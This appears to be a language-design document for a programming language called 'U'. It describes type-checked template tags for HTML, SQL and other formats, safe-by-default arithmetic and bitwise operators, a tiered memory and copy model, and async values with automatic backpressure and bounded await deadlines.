Types during expansionNone — errors are crypticFull type system participates
Security responsibilityScattered — each use siteIsolated in the tag module
Error messagesExpansion artifactsFirst-class — author writes them
Runtime overheadNone (compile-time)None — returns compiled function
ComposabilityFragile — hygiene problemsAny module can define a tag

The language is extensible via compile-time libraries. Any module can define a template tag as a z f. The tag author chooses what mini-language to accept, validates it against the type system, and returns a typed compiled value. Users get a new DSL with no new language features — just a new import.

Compile-time capability safety. Template tags run at compile time but are capability-gated just like runtime code. A sql\`\` tag with no capabilities can parse and type-check queries — nothing else. A capnproto\`\` tag declaring o Compiler.fs can read .capnp schema files at compile time — but only files, nothing more. No template tag can modify another module's types, inject code into the caller's scope, or escalate beyond its declared capabilities. You can audit exactly what a tag can do by reading its o declarations — the same capability discipline that governs runtime code governs compile-time code.

What cannot be clobbered without explicit capabilities: the file system, the network, other modules' private types, the caller's local scope, and the type environment of any module that hasn't declared an import from yours.

Interpolation rules for html`...`

Type in {expr}Result
SHTML-escaped — & < > " replaced with entities
I N U DAuto-.__string__() then escaped — {count} just works
HtmlPassed through — already safe, no double-escaping
[Html]Concatenated in order — the composition primitive. {items.map(fn)} where fn returns Html outputs all items joined.
Html+NEmpty string if none — conditional rendering without special syntax
[Html]+NEmpty if none
Anything elseCompile error — L, custom types, etc. must be converted explicitly

Format specifications — {value:spec}. Inside any template interpolation, a colon followed by a format spec applies Python-style formatting before the tag processes the value. The colon is unambiguous in template context (the spec can never be a type):

SyntaxExampleResult
{n:.2f}s`Total: {price:.2f}`"Total: 42.50"
{s:>20}s`Name: {name:>20}`Right-aligned, width 20
{n:04}s`ID: {id:04}`Zero-padded, width 4
{n:.1%}s`Rate: {ratio:.1%}`"Rate: 42.3%"
{n:,}s`Pop: {count:,}`"Pop: 1,234,567"

The format spec runs at compile time when the value is a literal, at runtime otherwise. In html\`\` the value is formatted first, then HTML-escaped — so html`{price:.2f}` produces a safe, formatted number.

html`` (empty backtick) is the empty fragment — the correct return value when conditional rendering produces nothing:

Ucomponents.u
// Leaf component — pure function returning Html:
f badge(user: User) -> Html
    r => user.admin ? html`<span class="badge">{user.role}</span>` ! html``

// [Html] — map returns array, template concatenates:
f product_list(products: [Product]) -> Html
    r => html`
        <ul>
            {products.map((p) => html`<li>{p.name} — {p.price}</li>`)}
        </ul>
    `

// Compose — Html values wire together, [Html] flattens:
f page(title: S, user: User, products: [Product]) -> Html
    cards: [Html] = products.map(product_card)   // each returns Html
    r => html`
        <h1>{title}</h1>
        {badge(user)}
        <div class="grid">{cards}</div>
    `

External templates — Template.*

The Template built-in namespace loads external files at compile time. The compiler reads the file, type-checks all {expr} blocks against the declared params, and bundles the result. The file can be updated by designers, DBAs, or translators without touching U code — as long as the params interface is preserved. Adding a new {param} to the file is a compile error until the caller provides it.

External files use their native format — real .html, .sql, .css — so syntax highlighting, Prettier, and tooling all work. The {} blocks inside them are full U expressions (not just simple substitution), evaluated with the params in scope.

Uexternal-templates.u
// External file — compiler reads at build time, validates params:
page  = Template.html("templates/page.html",   { title, content, user })
report = Template.sql("queries/report.sql",   { start_date: D, end_date: D })
theme  = Template.css("styles/theme.css",     { brand: Color, spacing: N })
icon   = Template.svg("assets/star.svg",     { size: N, fill: Color })

// External HTML can contain full U expressions — not just {placeholder}:
HTMLtemplates/page.html
<h1>{title}</h1>
<ul>
    {items.map((item) => html`<li class="{item.type}">{item.name}</li>`)}
</ul>
{featured ? html`<div class="hero">{featured.name}</div>` ! html``}
The wiring is in U, the structure is in the file. Components are plain functions returning Html. Composing them — choosing which data goes where, which items get mapped — lives in typed U code. The template file owns layout and markup; the app owns logic. No framework, no lifecycle, no virtual DOM.

i18n — all languages bundled at compile time

Templates.localized("i18n/") reads the entire locale directory at build time. Every language file is validated against the primary locale (missing key = compile error, wrong placeholder type = compile error). All languages are bundled into the output. The runtime selects a bundle based on user locale — no file I/O, no missing-key crashes, no runtime lookups against unknown keys.

Ui18n.u
// Import entire locale directory — all languages bundled, runtime selects:
Locale = Templates.localized("i18n/")

// Each key becomes a typed property or function:
Locale.greeting({ name: user.name })        // key with {name} placeholder → S
Locale.button.submit                        // no params → S directly
Locale.error.not_found({ id: item_id })       // nested key, typed param → S

// en.json — primary locale (all others validated against this):
// { "greeting": "Hello, {name}!", "button": { "submit": "Submit" } }
// fr.json missing "greeting" → compile error
// de.json has wrong placeholder type in "greeting" → compile error

Template tag summary

TagS inputSame typeReturnsExternal
html`...`HTML-escapedHtml / [Html] passed throughHtmlTemplate.html("f.html", {...})
sql`...`ParameterizedSql composedSqlTemplate.sql("f.sql", {...})
css`...`Typed (Color, N…)Css composedCssTemplate.css("f.css", {...})
url`...`URL-encodedUrl composedUrlTemplate.url("f.txt", {...})
svg`...`HTML-escapedHtml / SvgHtmlTemplate.svg("f.svg", {...})
regex`...`flagsCompile errorRegex composedRegex
md`...`Escaped then renderedHtml passed throughHtmlTemplate.md("f.md", {...})
command`...`Shell-escapedCommand composedCommandTemplate.sh("f.sh", {...})
msgLocale namespaceLocale = Templates.localized("i18n/")
Raw S cannot reach any sink. The guarantee is structural: the only way to produce Html is via a template that escapes S. The only way to produce Regex is via regex`` which rejects S entirely. A raw string variable cannot be cast, coerced, or sneaked past the type system into an unsafe context.

Template literals are literals

The tag (html, sql, css, url, regex, md, sh) must appear literally at the call site — not stored in a variable, not passed as a parameter. The escaping rule is determined per-tag at compile time; dynamic tags are rejected. Use \` to include a literal backtick inside any template.

JSON with comments

U's JSON literals support /* */ and // comments via a strip pass before parsing — the same approach VS Code uses for .json config files. Comments are stripped at compile time for inline literals, at load time for runtime JSON.

Template Tags as a DSL Engine

Every template tag is a domain-specific compiler packaged as a library. The language ships nine built-in tags; the extension model is the same for any third-party module. This makes U's template system a general metaprogramming facility — and a better one than preprocessor macros.

The range of possible DSL extensions is large:

DomainExample tagsWhat the tag validates
Data formatsjson, yaml, toml, csv, avro, parquetSchema correctness, round-trip fidelity
Query languagessql, graphql, cypher, sparql, mongoInjection safety, field existence, type correctness
Systems / binaryasm, shader, cuda, wasm, bitfield, le/beRegister types, layout alignment, endianness
Mathematicalunits, tensor, grad, matrixDimensional compatibility (m + s is a compile error), shape correctness
Infrastructurecron, semver, env, k8sExpression validity, constraint satisfiability, schema presence
Blockchaineip712, abi, rlp, bip32ABI encoding correctness, type packing, path validity
Testingexpect, property, benchAssertion structure, generator types, timing contracts
Business logicrules, fsm, workflowReachability, exhaustiveness, state validity

Compared to C++ template metaprogramming. C++ TMP emerged as an accident of substitution-failure rules — nobody designed it as a DSL engine. It operates primarily on types via SFINAE, produces thousand-line error traces, has no capability model, and makes writing a domain-specific compiler deeply awkward. U template tags were designed for exactly this purpose:

C++ Template MetaprogrammingU Template Tags
OriginAccident — SFINAE side effectDesigned — z f first-class
Written inTemplate specialisation syntaxU itself
Operates onTypes (primarily)Types, values, and strings
Error messagesInstantiation trace, often thousands of linesAuthor writes them — first-class S values
SecurityNone — unrestricted at compile timeCapability-gated — o declarations auditable
DSL supportDeeply awkwardThe primary use case
ComposabilityFragile — specialisation conflictsAny module defines a tag — no conflicts
Compile timesPathological for heavy TMPFocused z f, bounded per tag

The closest existing analogs are Racket's #lang (define a new language as a library) and Groovy's builder DSLs. Racket's version requires implementing a full language frontend; Groovy's is runtime and untyped. U template tags combine compile-time execution, type participation, capability isolation, and library-level extensibility in a single mechanism — without requiring any new language features from the user, just a new import.

The units tag illustrates the ceiling. Dimensional analysis at compile time — m + s is a type error, m/s * s resolves to m, unit conversions are validated — prevents the class of error that crashed the Mars Climate Orbiter. That is a library. The language provides the mechanism; the domain expert provides the semantics.

One Language, Every Layer

Because template tags are library code, U becomes the first language where compile-time validated HTML, CSS, SQL, binary wire formats, LLM prompts, and P2P protocols all use the same mechanism — and where any of these can be added by a library author, not a language designer.

No framework needed. No separate build step. No templating engine. The language is the stack:

Uwebserver.u
f handle_users(req: HttpRequest) -> HttpResponse+A
    users = sql`SELECT name, email FROM users WHERE active = {true}`()
    r => HttpResponse.ok(html`
        <!doctype html>
        <html>
        <head><style>{css`body { font-family: system-ui } li { padding: 4px }`}</style></head>
        <body>
            <ul>{users.map(u => html`<li>{u.name}</li>`)}</ul>
        </body>
        </html>
    `)

Compile-time validated HTML, CSS, SQL injection-safe — no runtime template engine, no framework required. The same pattern extends across every protocol and API layer:

DomainTagsConnects to
Webhtml, css, svgBrowser, web servers — compile-time XSS prevention
Relationalsql, ormMySQL, Postgres, SQLite — compile-time injection safety
Documentmongo, elasticNoSQL, full-text search
Wire formatsprotobuf, capnproto, msgpackgRPC, binary APIs — schema-validated
AI modelsprompt, diffusionLLMs, image models — typed inputs and outputs
P2PhypercoreHolepunch, Dat — typed distributed log subscriptions
Blockchaineip712, abiEthereum, EVMs — ABI encoding correct by construction
Graph / Streamsqbix, safeboxQbix Streams graph DB, Safebots API
Why this is genuinely new. Prior languages have come close on individual domains: Elixir's HEEx gives compile-time typed HTML; Rust's Askama gives compile-time HTML templates; Go's html/template gives runtime-safe HTML. But none unify all of these under one mechanism that any library author can extend. PHP was the "web language" but its templating is untyped string interpolation. JavaScript is web-native but its tagged template literals carry no type information. U is the first where compile-time validated HTML, CSS, SQL, protobuf, LLM prompts, and P2P protocols all use the same typed, capability-isolated, library-extensible tag mechanism — and where adding a new protocol requires no language change, only a new o import.
18Safety

Arithmetic, Bitwise, and Power Operators

Bounds checks, divide-by-zero checks, and overflow detection are on by default. ! is the universal opt-out suffix. Since & and | are the guard and fallback operators, bitwise operators use the ~ prefix — keeping single-character operators for the more common logical forms.

Operator table

OperatorMeaningNotes
+ - * / %ArithmeticSafe by default · ! suffix to opt out
^Power / exponentiationx^2, 2^n, 10^k · ^ reads as superscript in math
!Logical NOT (unary)!valid, !empty
+aAbsolute value (unary) — built-in for all numeric types. Symmetric with -a negation. No magic method required.+x, +vec (element-wise)
& | ??Guard · fallback · null-coalesceShort-circuit · see Conditionals
~&Bitwise ANDflags ~& mask
~|Bitwise ORa ~| b
~^Bitwise XORa ~^ b · ~ prefix = bitwise domain
~!Bitwise NOT (unary)~!value
~< ~>Left / right shiftx ~< 3 · x ~> 1
The ~ prefix means bitwise domain, consistently. Every bitwise operation is visually distinguishable from its logical counterpart. & is guard; ~& is AND-bits. | is fallback; ~| is OR-bits. ! is logical NOT; ~! is bitwise NOT. ^ is power; ~^ is XOR. The ~ prefix is a one-character annotation that shifts the entire symbol into the bitwise domain.
On ^ as power: C programmers used to ^ meaning XOR will need to adjust. In U, ^ means power and XOR requires ~^. The design is internally consistent — since all bitwise operators carry the ~ prefix, there is no bare bitwise ^ to confuse with. The gain: x^2, 2^n, and 10^k read as they would in a math textbook.
Uoperators.u
// Arithmetic — safe by default
total = big + small        // overflow-checked
ratio = num / divisor      // zero-checked
item  = arr[index]         // bounds-checked
// Use U32/U64 for intentional wraparound:
hash  = seed * prime        // U32: wraps by definition
// (signed types always trap; unsigned types always wrap)
item  = arr[index]         // ! = opt out of bounds check

// Power — ^ is exponentiation
area  = side ^ 2           // x squared
scale = 2 ^ bits           // 2^n for bit counts
mag   = 10 ^ exponent      // order of magnitude

// Bitwise — all use ~ prefix
masked  = flags ~& 0xFF    // AND bits
merged  = a ~| b            // OR bits
toggled = a ~^ b            // XOR bits
flipped = ~!value           // NOT bits (unary)
shifted = bits ~< 3          // left shift
aligned = bits ~> 2          // right shift

// Mix — ~ prefix makes bitwise vs logical unambiguous at a glance
valid = (flags ~& MASK) & not_expired  // ~& bitwise, & guard

Chained Comparisons

Comparison operators chain naturally: a < b <= c means (a < b) and (b <= c) with b evaluated exactly once. This eliminates duplicate subexpressions in range checks and ordering assertions.

This is unambiguous by the type system, not by a special parsing rule. a <= b returns L, and L < c is a compile error — you cannot compare logicals with <. So a <= b < c can only ever mean a chain; the type system makes left-associative interpretation impossible. No grammar ambiguity, no precedence exception.

Any mix of <, <=, >, >=, ==, != chains. Short-circuits left-to-right. Returns L.

Uchained.u
// Range checks — no duplicate subexpressions
0 <= i < arr.length              // valid index — evaluated once
min <= val <= max                 // clamped value
a < b < c                         // strict ordering

// Equivalent to — but b evaluated only once:
1 < x <= 10   // (1 < x) and (x <= 10)

// Short-circuits — b() not called if a >= b()
a <= b() <= c                     // b() called at most once

// Works in conditions
0 <= score <= 100
    ? grade(score)
    ! error("out of range")

Matrix and complex arithmetic

+ - * / on arrays and matrices are element-wise. @ is matrix multiplication (__matmul__). ^ is built-in power — no magic method. Signed integers trap on overflow; unsigned integers wrap by definition.

Umatops.u
A: [[N32]] = [[1.0, 2.0], [3.0, 4.0]]
B: [[N32]] = [[5.0, 6.0], [7.0, 8.0]]

A + B      // element-wise add
A * B      // element-wise multiply (Hadamard) — NOT matmul
A ^ 2      // element-wise square (built-in, no magic method)
A @ B      // matrix multiplication — __matmul__

a: [N32] = [1.0, 2.0, 3.0]
b: [N32] = [4.0, 5.0, 6.0]
a.dot(b)      // scalar dot product: 32.0
v.cross(w)    // 3D cross product — [N32] length 3 only

// Complex numbers:
z: C64  = (3.0, 4.0)    // real=3.0, imag=4.0  (two N32)
w: C128 = (1.0, -2.0)   // two N64
z + w   z * w             // arithmetic via __add__, __mul__
z.re   z.im               // N32 accessors
z.abs()                   // +a → __abs__(): 5.0

// Signed traps, unsigned wraps:
total: I32 = balance + deposit   // traps on overflow — always
hash:  U32 = seed * prime         // wraps — by definition of U32
19Memory

Memory Model — Tiered Allocation

The modifier system gives the allocator perfect information at compile time. Every allocation strategy is determined from the type annotation. No runtime profiling, no GC, no stop-the-world pauses.

ModifierWhere allocatedARCFreed when
-RStack framenoneScope exit — O(1) stack pointer move
+R refcount=1Per-coroutine nursery (bump ptr)integerNursery reset — O(1) if never shared
+R refcount>1Main heap (size classes)integerRefcount reaches 0 — deterministic
+R -MImmutable poolintegerRefcount → 0, may be hash-consed
+R (cycles)Heap, candidate listintegerBackground cycle detector — bounded pause
+VSIMD registers / vector unitnoneScope exit — compiler manages register allocation
+R(GPU)GPU device memorynoneLast +R(GPU) ref drops — DMA dealloc
Deferred copy — capture only what escapes. A synchronous function copies nothing: its locals live on the stack and are read directly. Only when a value must survive a suspension is it captured into a continuation closure — and the compiler captures exactly the live-across-suspension set, nothing more. -R-M values (immutable) can be shared into a closure without copying; a mutable value shared with an escaping async closure is where the c capture rule applies (copy to break the sharing, or keep it read-only in the launcher). The happy path (a function that never suspends) pays zero capture and zero copy cost. Allocation decisions remain determined at compile time from the modifier annotations — no runtime profiling, no GC.
ARC without atomics: on a single-threaded coroutine scheduler, refcount is a plain integer — no atomic_fetch_add, no memory fences, no cache coherence traffic. 10–50× cheaper than Swift or Objective-C ARC.
Genesis nursery: a newly created +R object has refcount=1 — it's "genesis" state, effectively still local. The per-coroutine nursery allocates with a bump pointer (O(1)). Only when refcount goes above 1 does the object promote to the main heap. Most objects never promote.
20Memory

Copy — c

c is the only way to create a copy. No implicit copies anywhere. The compiler has a static copy budget per function — the exact number of allocations it can cause.

What c copies — determined by the class definition

c is a shallow copy by property declaration. Whether a property is duplicated or shared depends on its modifier, declared on the class:

The class definition is the copy contract. No separate clone() method or copy protocol. The programmer controls copy depth declaratively by choosing -R vs +R per property.

Ucopy.u
// Copy vocabulary — only these four forms exist
ref = obj            // retain: refcount++ only, zero allocation
ref = c obj        // copy: -R props by value, +R props share ref
ref = c+V obj     // domain copy: DMA to GPU memory
ref = c+R obj     // promote: -R stack value → +R heap allocation

// COW: c is lazy for -R +M properties — no allocation until write
snap = c state           // marks COW intent, no allocation yet
read_from(snap)             // reads shared data, zero cost
snap.field = new_val        // NOW allocates + copies, then writes

// Copy elision: refcount=1 at c call site → zero cost
cfg   = load_config()       // +R, refcount=1 (genesis)
local = c cfg            // refcount was 1 → compiler elides entirely
Prevents at compile time: surprise allocation. There are no implicit copies anywhere in U. The compiler has a static copy budget per function — the exact number of c calls determines it.
21Memory

Zero-Copy Returns

Returning a -R value via r.field = ... writes directly into the caller's pre-allocated stack slot. The callee's frame "popping" doesn't copy anything — it just moves the stack pointer. This is Named Return Value Optimization, but guaranteed by the type system rather than hoped for from the optimizer.

Traditional — copies on return
// Callee allocates, caller receives copy
Result make_result() {
    Result r;          // callee's stack
    r.val = compute();
    return r;          // COPY to caller
}
U — destination-passing, no copy
// Callee writes into caller's slot
f make_result() -> Result
    r.val = compute()  // writes to caller's frame
                        // no copy. Ever.

For +R return types, the heap object is allocated once during construction. The return value is an 8-byte pointer. No copy of the object contents occurs at any point.

22Reference

Defaults — Safe and Fast Require No Annotations

Every default is chosen to be cheapest and safest. You pay for costs by annotating +.

ContextDefaultMeaning
Scalars & function params-R -M -NLocal, immutable, non-null — zero cost
Arrays and maps-R +M -NMutable by default — push/insert without annotation
Object properties+MMutable by default — mark -M only for frozen-after-construction fields
-M arrays/objectsMust be initialized with already-constructed values; compiler constructs in-place
Local variables-R +M -NLocal, mutable (reassignable), non-null
Class instances-R +M -NLocal mutable — can be promoted to +R with c+R
Return types-R +M -NDPS — zero copy guaranteed
Closures-RStack-allocated, doesn't escape scope
Coroutine frame values-ANOT saved at suspension unless annotated +A
Integer literalsI64-bit signed
Array indexing1-basedFirst element = arr[1]. Last element = arr[arr.length]. arr[0] = compile error.
Decimal literalsN64-bit float
Uzero_annotation_guarantees.u
// A function with zero annotations
f stats(data: [N]) -> Stats
    total = data.on((acc, val) => acc + val, 0.0)
    mean  = total / data.length
    r => { total, mean }

// What you get for free, by default:
//  ✅ No null dereference    (-N default)
//  ✅ No heap allocation     (-R default)
//  ✅ No ARC cost            (-R: no refcount)
//  ✅ No race condition      (-R: no sharing)
//  ✅ No dangling reference  (-R: scope lifetime)
//  ✅ No iterator invalidation  (.on(): safe)
//  ✅ Zero-copy return       (r.field = DPS)
//  ✅ No async coloring      (coroutines)
14.5Concurrency

+A as a Pending Type

The +A modifier marks the async domain — values whose lifetime spans coroutine suspension boundaries. This has two consequences from the same rule. Both are instances of lazy materialization.

Two Consequences, One Rule

PositionMeaningExample
state: Req +A
local variable
Value crosses suspension boundary from inside — save to coroutine frame at yield state: Req +A = build_req()
pending: S +A
pending type
Value crosses suspension boundary from outside — a coroutine computing this result pending: S +A = a fetch(url)
f+A fetch()
declaration
The method accepts a still-pending +A receiver — t stays as a future inside the body (a plain method auto-awaits t first) f+A lookup(key: S) -> Config
Two consequences, one rule: +A marks values that participate in the async domain. A local variable that must survive suspension, and a pending computation waiting to resolve — both are values that cross coroutine boundaries. One modifier. Two consequences. Zero ambiguity.

The Two Valid Call Forms — and Nothing Else

Uthe_two_forms.u
// FORM 1: Auto-await — transparent, default, no annotation
cfg = lookup(key)                       // Config+N — coroutine suspends if needed
// Identical call site whether lookup() suspends or not.

// FORM 2: Async opt-in — +A INFERRED from `a` prefix
pending = a lookup(key)               // type inferred: Config+N+A — caller continues
pending = a lookup(key)              // Config+N+A — inferred  // explicit — same thing, annotation optional

// `a` works on ANY function — no need to declare `a f`:
f compute(x: I) -> I   r => x * x      // plain sync function
result = a compute(42)                // runs on new coroutine — type inferred: I+A

// Auto-lift: `a` awaits +A args, lifts return type
p1 = a fetch(url1)                    // S+A — inferred
p2 = a fetch(url2)                    // S+A — inferred
result = a combine(p1, p2)            // awaits both concurrently, returns Result+A

// Using a +A value — auto-awaits when assigned to non-+A:
resolved: Config+N = pending           // awaits if not yet done, immediate if done
process(pending)                        // process(Config+N) — auto-awaits inline

// The ONLY error: +A on left WITHOUT `a` on right
// pending: Config+A = lookup(key)  ✗ — can't be pending without firing a coroutine

The Co-Requirement — Compiler Enforces Both

Utype_errors.u
// TYPE ERROR — 'a' requires +A on LHS
cfg = a lookup(key)            // ❌ 'a' produces Config +A but LHS expects Config
                               //    "remove 'a' — auto-await does this already"

// TYPE ERROR — +A requires 'a' at call site
pending: Config+A = lookup(key) // ❌ LHS is Config +A but call site has no 'a'
                               //    "add 'a' to opt into async domain"

// The error messages write themselves from the rule.
// You cannot have one without the other.

Using a Pending Value

Uusing_pending.u
pending: Config+N+A = a lookup(key)

// Auto-resolve: LHS expects Config — triggers resolution
cfg: Config+N = pending               // coroutine suspends if still pending

// Copy: stays pending
other: Config+N+A = pending           // no resolution, stays +A

// Chain: schedule work on resolution — returns S +A
rendered: S+A = pending.on(cfg => render(cfg))

// Multiple subscribers — event emitter pattern falls out naturally
pending.on(cfg => log(cfg))
pending.on(cfg => cache(cfg))
pending.on(cfg => notify(cfg))   // all three run when pending resolves
// No event emitter class. No .on() method. Just .on().
Prevents at compile time: async violations. result: S = a fetch(url) (a without +A) and pending: S +A = fetch(url) (+A without a) are both type errors. Auto-await in a non-a f function is also a type error.
14.6Core Principle

Lazy Materialization — Zero Cost by Default

U has two cost mechanisms: c copying and +A async. Both follow the same rule. Both are zero-cost in the common case. Both provide caller stability without recompilation.

Lazy Materialization Multiplicity >1 participant needs result Declaration c or +A opted in cost paid absent → zero cost absent → zero cost
The Two-Condition Rule: An annotated operation costs nothing unless both hold simultaneously:
1. Multiplicity — more than one participant needs what the operation produces
2. Declaration — programmer explicitly opted in (c, T +A, or a call)
When either is absent, the operation is a no-op at runtime. Present in source. Absent in execution.

c — Zero Cost at Genesis

// Condition 1 absent: refcount = 1 (genesis)
cfg    = load_config()     // refcount=1
local  = c cfg          // c declared...
// ...but refcount=1 → same pointer returned
// Zero allocation. Zero memcpy.
// c in source, absent at runtime.
// Both conditions met: refcount > 1 + mutation
shared = c+R cfg        // refcount now 2
shared.update(new_value)   // mutation follows
// NOW the copy actually happens.
// Cost paid only when genuinely needed.

+A — Zero Cost on Inline Completion

// Condition 1 absent: callee doesn't suspend
// (cache hit, sync path, computed value)
pending: Config+A = a lookup(key)
// coroutine runs inline to completion
// one branch check: "suspend?" → no
// returns Config directly. Zero coroutine start.
// Both conditions met: callee suspends + coroutine waiting
pending: Config+A = a lookup(key)
// actual network call inside lookup
// new coroutine starts, caller continues
// Cost paid: coroutine start + pending alloc

Caller Stability — Zero Recompilation

When a function gains suspension or sharing, no call site needs to change. This is the practical payoff of lazy materialization.

Ucaller_stability.u — three phases, zero source changes at call sites
// ─── PHASE 1: everything sync ─────────────────────────────────
f lookup(key: S) -> Config     // sync

f handle_req(key: S) -> S
    cfg = lookup(key)         // [A] CALL → Config immediately
    r => render(cfg)

// ─── PHASE 2: lookup becomes async ────────────────────────────
a f lookup(key: S) -> Config    // added 'a' — ONLY CHANGE

// handle_req source is IDENTICAL — zero recompile
f handle_req(key: S) -> S
    cfg = lookup(key)         // [A] same CALL instruction
                              //     coroutine suspends if lookup suspends
                              //     cfg gets Config — caller unchanged
    r => render(cfg)

// ─── PHASE 3: a different caller opts into concurrency ────────
f handle_batch(keys: [S]): [S]
    // Explicit async: fan out all lookups concurrently
    jobs: [Config+A] = keys.on(k => a lookup(k))

    // Auto-resolve: [Config +A] used as [Config] triggers resolution
    cfgs: [Config] = jobs

    r => cfgs.on(cfg => render(cfg))

// Phase 3 also stable: if lookup later becomes sync again,
// 'a lookup(k)' produces trivially-resolved Config +A. Still correct.

The Forward Declaration

pending: T +A = a f() when f is currently sync is a forward declaration of intent:
"If this function later suspends, treat the result as pending."

Today: new coroutine, instant-resolved, near-zero cost.
When f later becomes a f: same source, same call site, the result is now a pending computation.
The code using the result does not change in either case.

Summary Table

OperationZero-cost conditionCost paid whenCaller changes?
crefcount = 1refcount > 1 AND mutationNever
auto-await result = f()callee completes inlinecallee suspendsNever
opt-in pending: T+A = a f()callee sync (instant resolve)callee actually suspendsNever
T +A forward declcallee currently synccallee later becomes asyncNever — that's the point
14.7Concurrency

Automatic Backpressure in .on() Pipelines

When a .on() lambda returns T +A (via a at the call site), the type signals to the scheduler that this pipeline stage is concurrent. Backpressure is automatic — no semaphore, no library, no configuration.

Ubackpressure.u
// Sequential — inline to tight loop by compiler
items.on((item) => process(item))

// Async method reference — a before the ref = async dispatch
items.on(a Cool.process_item)             // backpressure automatic

// Async lambda with block body
items.on(a (item) => (
    result = a fetch(item)              // suspends here if slow
    a db.write(result)                  // suspends again if needed
    log(result)
))
// coroutine suspends at each 'a' call — next item waits — that IS backpressure
// no semaphore, no channel, no configuration needed

// Concurrent pool — a before the outer handler
items.on(a (item) => a fetch(item))     // [T +A] — bounded pool
// scheduler fills pool up to limit
// pool full: new items wait — backpressure
// slot frees: next item starts

// Await the whole batch
results: [S] = a items.on(item => a fetch(item))
// outer 'a': don't return until all items resolved

// Pipeline: stages compose naturally
urls
  .on(url    => a fetch(url))    // [S +A] — concurrent, backpressure applied
  .on(result => parse(result))    // [S] — sequential (no 'a' = auto-await per item)
  .on(parsed => store(parsed))    // [void] — sequential sink

// items can be: array, generator, stream, another .on() chain
// backpressure applies uniformly — source type doesn't matter

Default algorithm and middleware override

The default backpressure for async .on() is sequential — one item at a time. The handler suspends at each inner a call; the next item waits until the current coroutine completes. Zero configuration needed.

Parallelism is opt-in via a middleware policy prepended to the handler chain. A policy handler speaks the same three-signal language as every other .on() handler — none = admit (start this item now), false = drop this item (shed load, keep going), true = abort the whole pipeline — and additionally may suspend until capacity allows. Suspend is not a return value; it is a control action (the handler parks its coroutine against a capacity gate and resumes when a slot frees). That single extra axis is the whole of backpressure: the two built-in policies differ in exactly what "pool full" maps to — pool(n) suspends (wait for a slot: true backpressure), while drop_latest returns false (drop the item: load-shedding). Same interface, opposite full-behavior.

Why suspend, not throw-and-retry. A closed gate freezes the emitting frame and resumes it in place when the gate reopens — it does not unwind and re-run. That matters because U is sync-by-default: the frame's locals and mid-iteration position are preserved, so a handler is not required to be idempotent. (Throw-and-retry would demand idempotency — an invisible, unenforceable tax. U already has the coroutine machinery that makes freeze-and-resume cheap, so it takes that path.) Abort (true) is the non-resumable sibling: it unwinds the pipeline like a real exception.
Backpressure bubbles upstream for free. A suspended handler is a call that hasn't returned, so its caller — the upstream stage — is suspended too, by the ordinary meaning of "my callee hasn't returned yet." No stage needs backpressure-awareness; demand propagates up the whole .on().on() chain because each stage is just a call frame waiting on the one it called.
Ubackpressure policies
// Default: sequential, automatic backpressure
items.on(a process_item)

// Opt-in parallel pool — admit up to 10 concurrent
items.on(Concurrency.pool(10), a process_item)

// Drop when full
items.on(Concurrency.drop_latest, a process_item)

// Custom policy — same three-signal interface as any handler
//   none = admit · false = drop this item · true = abort pipeline
my_policy = (item) => rateLimit.check(item) ?? r => false | r => none
items.on(my_policy, a process_item)
LanguageConcurrent iterationBackpressureHow
U.on(item => a f(item))automatictype system: +A return triggers bounded pool
JavaScriptPromise.all(items.map(f))none — all start at onceOOM if items is large
JavaScript (library)p_limit(10)(f)manual semaphoreseparate library, no type safety
Gogoroutines + WaitGroupchannel buffermanual chan + wg.Add/Done/Wait
SwiftTaskGroup + add_taskstructured scopeverbose, requires async context
Ruststream::bufferedexplicit sizeStream adaptor, manual buffer

Deadlines — every await is bounded: +A(ms), +A(w), and the short default

A closed gate (or any awaited promise) that never resolves is a hang — the one universal footgun of a unified promise/event/gate model. U closes it by making every await bounded by default. The bound lives on the promise type, not in a function you call:

TypeMeaning
+A(500)Settle within 500 ms, or the await rejects (propagates upstream as an error). Explicit per-site bound.
+A (bare)Bounded by the program default (ships at 1 s). Not unbounded.
+A(w)Explicitly unbounded — waits forever. The only way to legitimately wait with no deadline; you have to type w on purpose.

The default is deliberately short, and that is the whole point. A wrong-because-too-long default fails silently (a hang, no signal); a wrong-because-too-short default fails noisily (a timeout, with a stack, at the exact site, on the first test run). U wants the noisy failure — so the default is calibrated to be exceeded, converting every unbounded wait into a decision the programmer is forced to make the moment it matters: raise the bound (+A(2000)) or declare intent (+A(w)). +A(ms) is a runtime circuit breaker, not a compiler proof obligation — the runtime kills the function after ms milliseconds. No compiler warnings about sequential sums: branches, caches, and early returns make worst-case analysis wrong more often than right. A caller with a shorter timeout than its callee is fine — it gives up early and gets a TimeoutError. The default is program-settable (Concurrency.default_timeout(ms)) because "how long is too long" is genuinely program-global — a batch job and an interactive UI want different answers, and neither should have to annotate every promise.

The deadline resolves at the await, not at creation. A promise created where the default is 1 s, then awaited somewhere that legitimately tolerates 10 s, takes the await site's bound. Otherwise the short default would itself become a source of mystery rejections instead of a clean tripwire.
Timeout is not a constructor. There is no Promise.timeout() to remember to call — a call you can forget defeats the purpose. The deadline is a property of the type (+A(ms)), so the compiler carries it and the scheduler enforces it. The reject-on-expiry arm is the promise's ordinary rejection, now deadline-triggered; it unwinds the pipeline through the same upstream propagation as any error, so a timed-out gate stops the pipeline with a real error you can catch and move on from.
Provable deadlock still fails loud. An +A(w) await with an empty scheduler queue — nothing left that could ever complete it — is the one case the runtime can prove is dead. It aborts immediately with a diagnostic rather than hanging, the U analogue of Go's "all goroutines are asleep."
A timeout throws — it is not a value. U has no promise-rejection channel: a promise resolves to a value, or the await throws. There is no "resolved-to-an-error" state to accidentally treat as data. So an expired +A(500) throws a Timeout exception right at the await, un-absorbable by ?? or downstream emission (a none return would be silently swallowed by exactly the operators built to handle absence, re-hiding the failure the deadline exists to surface). The one exception: an +A(500)+N await — where the programmer explicitly opted into nullable — downgrades a timeout to none instead of throwing. Exception is the floor; none-on-timeout is a deliberate +N opt-in, never a default. This unifies every async failure — timeout, downstream true/abort, a thrown error — into one mechanism: an exception at the await point. No separate reject/throw duality.
Patience composes as caller ≥ callee. A function that awaits a callee must be willing to wait at least as long as the callee's own deadline — you cannot patiently await something you have already given up on. So an +A(200) function awaiting an +A(500) callee is a compile error (you would abort the caller before the callee could ever succeed); raise the caller's deadline or lower the callee's. Deadlines nest — they do not sum or cap upward — so this is a local check, not a whole-graph constraint. +A(w) is infinite patience and satisfies it against any finite callee.

What .on() returns: a pull stream

